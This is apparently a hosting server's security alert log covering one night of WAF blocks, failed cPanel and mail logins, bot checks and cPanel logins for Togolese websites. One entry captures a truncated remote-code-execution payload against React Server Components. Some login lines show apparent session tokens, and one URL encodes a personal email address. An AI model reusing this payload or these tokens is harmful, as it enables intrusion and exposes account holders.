name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 21 00:49:10 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-21 00:49:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:50118: 535 Incorrect authentication data (set_id=ircstage)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.222.93.54
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/05/ADETIKOPE1-1024x819.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/05/ADETIKOPE1-300x240.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/05/ADETIKOPE1-768x614.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/05/ADETIKOPE1-1536x1229.jpg 1536w, http:/togodailynews.tg/wp-content/uploads/2024/05/ADETIKOPE1-2048x1638.jpg 2048w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.177.124.152
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/03/K-1024x576-1.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/03/K-1024x576-1-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/03/K-1024x576-1-768x432.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.178.172.28
country_id: 6252001
description:
Jun 21 00:53:53 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.178.172.28 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.125.229.14
country_id: 3194884
description:
176.125.229.14 - - [21/Jun/2026:00:57:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266328&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253Dc2VyYmFuLmR1bWl0cmFjaGVAZW5lcmdvbnVjbGVhci5ybw%253D%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782003433 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=c2VyYmFuLmR1bWl0cmFjaGVAZW5lcmdvbnVjbGVhci5ybw==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.125.229.14


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.170.146.136
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/1194348413 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:01:01:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055571&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782003672 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:01:01:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249261&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782003672 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-21 01:02:07 +0000] info [cpaneld] 5.231.64.159 NEW cietg:mqrd3J1g3fLVfFr6 address=5.231.64.159,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-21 01:03:58 +0000] info [cpaneld] 103.65.237.227 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.15.203
country_id: 3469034
description:
Jun 21 01:06:03 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.15.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.148.182.233
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2096233995 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.136
country_id: 3469034
description:
Jun 21 01:10:16 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.75.33
country_id: 453733
description:
158.173.75.33 - - [21/Jun/2026:01:11:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182446&pdata=https%253A%252F%252Fwww.selithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782004278 HTTP/2.0" 302 0 www.selithgroup.com "https://www.selithgroup.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.75.33


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.136
country_id: 3469034
description:
Jun 21 01:10:30 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.136 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.92.81
country_id: 6252001
description:
[2026-06-21 01:11:16 +0000] info [cpaneld] 82.40.92.81 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.133.61.154
country_id: 1643084
description:
103.133.61.154 - - [21/Jun/2026:01:10:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12896408&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F49107&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782004229 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/49107" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.133.61.154


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: ccl.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__a82661d4\":true,\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"data_c850e6b5\":0,\"_response\":{\"_prefix\":\"var ymg=arguments[0x1];var xxbl=ymg;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.22.13.223
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42730.ucao-uut.tg||ServerName:ucao-uut.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7b9781b69bf4f3e78cd512624b3bc94819c41d9f||Title:0x8cd70d4e||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.236.70
country_id: 6252001
domain: shekina.tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:194.180.236.70||TA:194.180.236.70||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.249.217
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-14.45.140.249.217||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.251.7
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-14.45.140.251.7||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.140.250.145
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.140.250.145||TA:45.140.250.145||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:01:16:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7259496&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782004580 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:01:16:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10339431&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782004590 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.224.193.42
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.23.224.193.42||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.73.163
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1254765105 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.120.252.7
country_id: 3625428
description:
190.120.252.7 - - [21/Jun/2026:01:24:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921627&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Fgestion-de-la-covid-19-au-togo-la-cour-constitutionnelle-conforte-le-gouvernement%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782005039 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftogodailynews.tg%2Fgestion-de-la-covid-19-au-togo-la-cour-constitutionnelle-conforte-le-gouvernement%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.120.252.7


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.94.90.229
country_id: 6252001
description:
[2026-06-21 01:26:03 +0000] info [cpaneld] 98.94.90.229 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 72.195.114.184
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:72.195.114.184||TA:72.195.114.184||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:01:31:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669463&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782005481 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:01:31:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328423&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782005492 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-21 01:34:27 +0000] info [cpaneld] 5.230.133.223 NEW newistm:11VVTwQwuiubMBbN address=5.230.133.223,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.207
country_id: 6252001
description:
[2026-06-21 01:37:47 +0000] info [cpaneld] 134.195.83.207 NEW sodigaz:lCQMU3P9rMBjlOac address=134.195.83.207,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.124.99.253
country_id: 6252001
description:
[2026-06-21 01:39:36 +0000] info [cpaneld] 170.124.99.253 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.138.20
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L.webp HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.196.112.94
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344.webp HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:01:44:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236450&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782006261 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:01:44:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933681&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782006270 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.217
country_id: 2635167
description:
[2026-06-21 01:44:36 +0000] info [cpaneld] 5.230.133.217 NEW cietg:iQt_wttSyou6OJ2I address=5.230.133.217,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.136.150.47
country_id: 99237
description:
185.136.150.47 - - [21/Jun/2026:01:46:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725127&pdata=https%253A%252F%252Fcfpj.tg%252Fhdvc-354451hetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782006384 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/hdvc-354451hetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.136.150.47


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.163.9.36
country_id: 690791
description:
2026-06-21 01:46:57 dovecot_login authenticator failed for H=(ip-67-21-79-198.sharktech.net) [188.163.9.36]:51418: 535 Incorrect authentication data (set_id=info@radio.zephyr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.61.246
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@id='page']/*[1][self::DIV]/*[9][self::MAIN]/*[5][self::DIV]/*[2][self::DIV]/*[3][self::ARTICLE]/*[1][self::DIV]/*[1][self::A]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.89.130
country_id: 226074
description:
Jun 21 01:49:25 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.89.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.89.130
country_id: 226074
description:
Jun 21 01:49:32 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.89.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.64.250
country_id: 3469034
description:
Jun 21 01:49:45 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.64.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 210.245.94.97
country_id: 1562822
description:
2026-06-21 01:52:06 H=([210.245.94.97]) [210.245.94.97]:55109 F=<quickbooks@notification.intuit.com> rejected RCPT <billing@arse.tg>: No Such User Here


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.135.190.58
country_id: 357994
description:
[2026-06-21 01:52:16 +0000] info [whostmgrd] 197.135.190.58 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 87.201.177.0
country_id: 290557
description:
87.201.177.0 - - [21/Jun/2026:01:59:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055578&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fregiona-maritime%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782007190 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/tag/regiona-maritime/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:87.201.177.0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.67.202.137
country_id: 2287781
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/84614f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:02:02:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002087&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782007330 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:02:02:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855276&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782007343 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.147.78.180
country_id: 1694008
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/fr/slides/11 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.168.205
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/inam-mise-sur-le-numerique-pendant-la-fermeture-exceptionnelle-de-ses-guichets-ce-vendredi-apres-midi/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.239.32.162
country_id: 3277605
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/barometre-cian-2021-le-togo-classe-troisieme-en-afrique/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.43.32.106
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/droits-economiques-de-la-femme-le-togo-hisse-au-2\xe1\xb5\x89-rang-africain-dans-le-rapport-wbl-2026 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 2.50.123.69
country_id: 290557
description:
2.50.123.69 - - [21/Jun/2026:02:05:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775957&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-158-000-menages-pris-en-compte-par-la-centrale-de-blitta%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782007542 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-158-000-menages-pris-en-compte-par-la-centrale-de-blitta/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:2.50.123.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.113.203
country_id: 6252001
description:
[2026-06-21 02:06:38 +0000] info [cpaneld] 82.40.113.203 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.147.232.233
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-09.45.147.232.233||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.77.223.36
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-09.185.77.223.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.147.11.82
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-09.45.147.11.82||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.18.127.33
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-09.212.18.127.33||RSV:8.19||T:APACHE||


